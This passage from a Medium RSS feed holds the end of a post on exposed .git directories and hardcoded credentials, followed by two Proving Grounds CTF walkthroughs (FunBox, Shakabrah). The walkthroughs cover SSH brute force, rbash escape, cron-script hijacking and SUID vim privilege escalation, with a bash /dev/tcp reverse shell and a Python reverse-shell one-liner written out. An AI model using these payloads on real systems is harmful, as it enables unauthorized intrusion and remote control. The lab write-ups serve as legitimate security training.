src="https://cdn-images-1.medium.com/max/734/1*aTYNWpXBU8cavcCbZxFhlQ.png" /></figure><h4>Analyzing the Source Code</h4><p>With the source code in hand, I began a thorough analysis. My primary goal was to identify any security vulnerabilities that could pose a risk to the company. One significant finding emerged from this analysis:</p><p><strong>1. Hardcoded Database Credentials</strong></p><p>To my surprise, I stumbled upon hardcoded database credentials within the source code. Hardcoding sensitive information like database usernames and passwords is a grave security oversight. If an attacker gains access to this information, they could potentially gain full access to the company’s database.</p><p>Upon discovering these vulnerabilities, I followed responsible disclosure practices. I promptly notified example.com’s security team about the issues and provided them with detailed information and recommendations for remediation. It’s crucial to act responsibly when uncovering security flaws to ensure they are addressed promptly and responsibly.</p><p><strong>Conclusion</strong></p><p>My journey from discovering an exposed .git directory to uncovering SQL injection vulnerabilities and hardcoded credentials was both eye-opening and educational. It underscores the importance of robust security practices in web development and the need for regular security audits. As a community, we must remain vigilant in identifying and addressing security vulnerabilities to protect sensitive data and the integrity of our systems.</p><p>In closing, always remember the importance of responsible disclosure and ethical hacking when encountering security issues. It’s our collective responsibility to make the internet a safer place for everyone.</p><p>Thank you for joining me on this journey of discovery and security awareness. Stay safe, stay secure, and keep exploring the fascinating world of cybersecurity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2558ebbc544e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FunBox Walkthrough: Proving Grounds Play]]></title>
            <link>https://sanaullahamankorai.medium.com/funbox-walkthrough-proving-grounds-play-5cd185a2f3f0?source=rss-6bfe7d35204------2</link>
            <guid isPermaLink="false">https://medium.com/p/5cd185a2f3f0</guid>
            <category><![CDATA[funbox-ctf]]></category>
            <category><![CDATA[hacking-techniques]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Sanaullah Aman Korai]]></dc:creator>
            <pubDate>Mon, 09 Oct 2023 11:55:26 GMT</pubDate>
            <atom:updated>2023-10-09T11:55:26.504Z</atom:updated>
            <content:encoded><![CDATA[<p>Funbox Capture The Flag (CTF) challenge, a part of Offsec’s Proving Grounds (PG) Play environment. In this detailed write-up, we will walk you through the steps taken to escalate privileges and achieve root access on the Funbox machine.</p><h3>Step 1: Initial Enumeration</h3><p>Our journey begins with the essential step of network enumeration. We use Nmap to scan the target machine (192.168.200.77)</p><pre>Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 06:45 EDT<br>Nmap scan report for 192.168.200.77<br>Host is up (0.16s latency).<br>Not shown: 997 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     ProFTPD<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 d2:f6:53:1b:5a:49:7d:74:8d:44:f5:46:e3:93:29:d3 (RSA)<br>|   256 a6:83:6f:1b:9c:da:b4:41:8c:29:f4:ef:33:4b:20:e0 (ECDSA)<br>|_  256 a6:5b:80:03:50:19:91:66:b6:c3:98:b8:c4:4f:5c:bd (ED25519)<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Did not follow redirect to http://funbox.fritz.box/<br>| http-robots.txt: 1 disallowed entry <br>|_/secret/<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 34.96 seconds</pre><p>The scan reveals several open ports, with ports 80 (HTTP), 21 (FTP), and 22 (SSH) catching our attention.</p><h3>Step 2: Web Enumeration</h3><p>Our primary focus turns to port 80, which indicates the presence of a web server. Visiting the website at http://funbox.fritz.box/, we encounter a redirect to another location and discover a &quot;robots.txt&quot; file disallowing access to &quot;/secret/.&quot; Additionally, we identify that the site is running on the WordPress content management system (CMS).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GhHSH6RNxlXFPYQ3jJLZcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r33Xs3sVTpE3xmoBUKM2Yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*81sSvcUmYo7bSdFvWlU4iw.png" /></figure><p>To gather more information, we decide to employ WPScan, a specialized WordPress vulnerability scanner. WPScan’s command wpscan --url http://funbox.fritz.box/ -e u1-20 yields two usernames.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*WFXRV7F0boh8QJvEQHSe9Q.png" /></figure><h3>Step 3: SSH Brute Force</h3><p>With the obtained usernames, we proceed to launch a brute force attack on SSH for the user “joe.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*iBWbfGLT846SUxco1xe4HQ.png" /></figure><p>After successfully discovering Joe’s password, we gain access to the target system using SSH: ssh joe@funbox.fritz.box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*r4QOU2IBAe1KstWTnJDodg.png" /></figure><h3>Step 4: Escaping Restricted Shell</h3><p>Upon accessing the system, we find ourselves confined within a restricted bash shell (rbash). Our initial attempt is to switch to a regular Bash shell using the command ssh joe@funbox.fritz.box -t &quot;bash --noprofile&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*xMJbh32fPAeydlFg57qDsw.png" /></figure><h3>Step 5: Privilege Escalation</h3><p>With a regular shell at our disposal, we explore the system further and discover a user named “funny.” An investigation of the user’s home directory reveals three intriguing files. Among them, we pay close attention to a hidden script named “reminder,” which mentions another script called “backup.sh.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*qktV2ElDWqTHji1dHuy1aQ.png" /></figure><p>It becomes apparent that the “backup.sh” script is executed at regular intervals, likely through a cron job. Interestingly, it runs with two different user IDs (UIDs): UID 0 (root) and UID 1000 (funny).</p><p>We decide to exploit this setup by inserting a reverse shell payload into the “backup.sh” script. This payload establishes a connection back to our machine, effectively granting us remote access. The reverse shell payload used is as follows:</p><pre>bash -i &gt;&amp; /dev/tcp/&lt;your-ip&gt;/&lt;port&gt; 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*cpO3SDXRARYFP0eewjOvyQ.png" /></figure><h3>Step 6: Root Access</h3><p>Having inserted our payload into “backup.sh,” we patiently wait for it to be executed. As soon as the script runs, we receive a reverse shell on our machine, providing us with root-level access to the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*r-_VNgkNh0AatQ0U1pagdg.png" /></figure><p>And boom we are root now:) Stay tuned for next writeup.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5cd185a2f3f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Play: Shakabrah Walkthrou]]></title>
            <link>https://sanaullahamankorai.medium.com/proving-grounds-play-shakabrah-walkthrou-92fae18c30ac?source=rss-6bfe7d35204------2</link>
            <guid isPermaLink="false">https://medium.com/p/92fae18c30ac</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Sanaullah Aman Korai]]></dc:creator>
            <pubDate>Fri, 08 Sep 2023 08:23:29 GMT</pubDate>
            <atom:updated>2023-09-08T08:23:29.459Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Play: Shakabrah Walkthrough</h3><p>Let’s begin with an Nmap scan on this machine, unveiling two open ports — 80 (HTTP) and 22 (SSH). Our journey starts with the HTTP port, where we discover a command injection vulnerability that we can escalate to remote code execution (RCE).</p><p>By crafting a Python payload tailored to our IP and Port, we gain a foothold on the machine. Next, we dive into enumeration and spot a SUID binary, vim.basic, which we can exploit for root access.</p><p>Following the guidance from GTFOBins, we leverage vim.basic’s Python3 support to elevate our privileges and obtain a root shell.</p><p>Let’s start with the first things first, Do an nmap scan on the machine to see what ports are open and what services are running on the box.</p><pre>Nmap scan report for 192.168.236.86<br>Host is up (0.15s latency).<br>Not shown: 65533 filtered tcp ports (no-response)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 33:b9:6d:35:0b:c5:c4:5a:86:e0:26:10:95:48:77:82 (RSA)<br>|   256 a8:0f:a7:73:83:02:c1:97:8c:25:ba:fe:a5:11:5f:74 (ECDSA)<br>|_  256 fc:e9:9f:fe:f9:e0:4d:2d:76:ee:ca:da:af:c3:39:9e (ED25519)<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 79.23 seconds</pre><p>As we can see there are 2 ports open on this machine. <strong>80 HTTP</strong> and <strong>22 SSH. </strong>Let’s enumerate port 80 first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*xuXTTkucBdmnZ7eifFQ65Q.png" /></figure><p>It looks like a connection tester which pings to the localhost. After exploring the host further it was Identified that it is vulnerable to command injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4m35mr007ORQ2zWKFy9yeQ.png" /></figure><p>Now we can lead that command injection to RCE. Look for the pentestmonkey reverse shell payload list to achieve this.</p><pre>python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;192.168.x.x&quot;,80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;sh&quot;)&#39;</pre><p>Now customize this to as your IP and Port. And we got a shell on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*HMZ0YW2gOU5rYIfdhUdnXg.png" /></figure><p>Now let’s enumerate to get higher privileges.</p><p>Enumeration of SUID binaries shows us that vim.basic is SUID as root.</p><pre>find / -perm -u=s -type f 2&gt;/dev/null<br>/usr/bin/sudo<br>/usr/bin/pkexec<br>/usr/bin/gpasswd<br>/usr/bin/chfn<br>/usr/bin/traceroute6.iputils<br>/usr/bin/at<br>/usr/bin/chsh<br>/usr/bin/newgrp<br>/usr/bin/passwd<br>/usr/bin/newgidmap<br>/usr/bin/vim.basic<br>/usr/bin/newuidmap<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic<br>/usr/lib/snapd/snap-confine<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/bin/umount<br>/bin/fusermount<br>/bin/ping<br>/bin/mount<br>/bin/su</pre><p>From <a href="https://gtfobins.github.io/gtfobins/vim/">https://gtfobins.github.io/gtfobins/vim/</a> we get several possible ways of getting a root shell.</p><p>Importantly, we also find from vim.basic -version that it has python3 support. With these two pieces of information we get a shell with a EUID of root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*KH7pfpGWAgDVusbokDkMDA.png" /></figure><p>Shakabrah is a fairly easy Play machine with a PWK lab feel to it suitable for beginners.</p><p>Stay tuned for next writeup.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92fae18c30ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>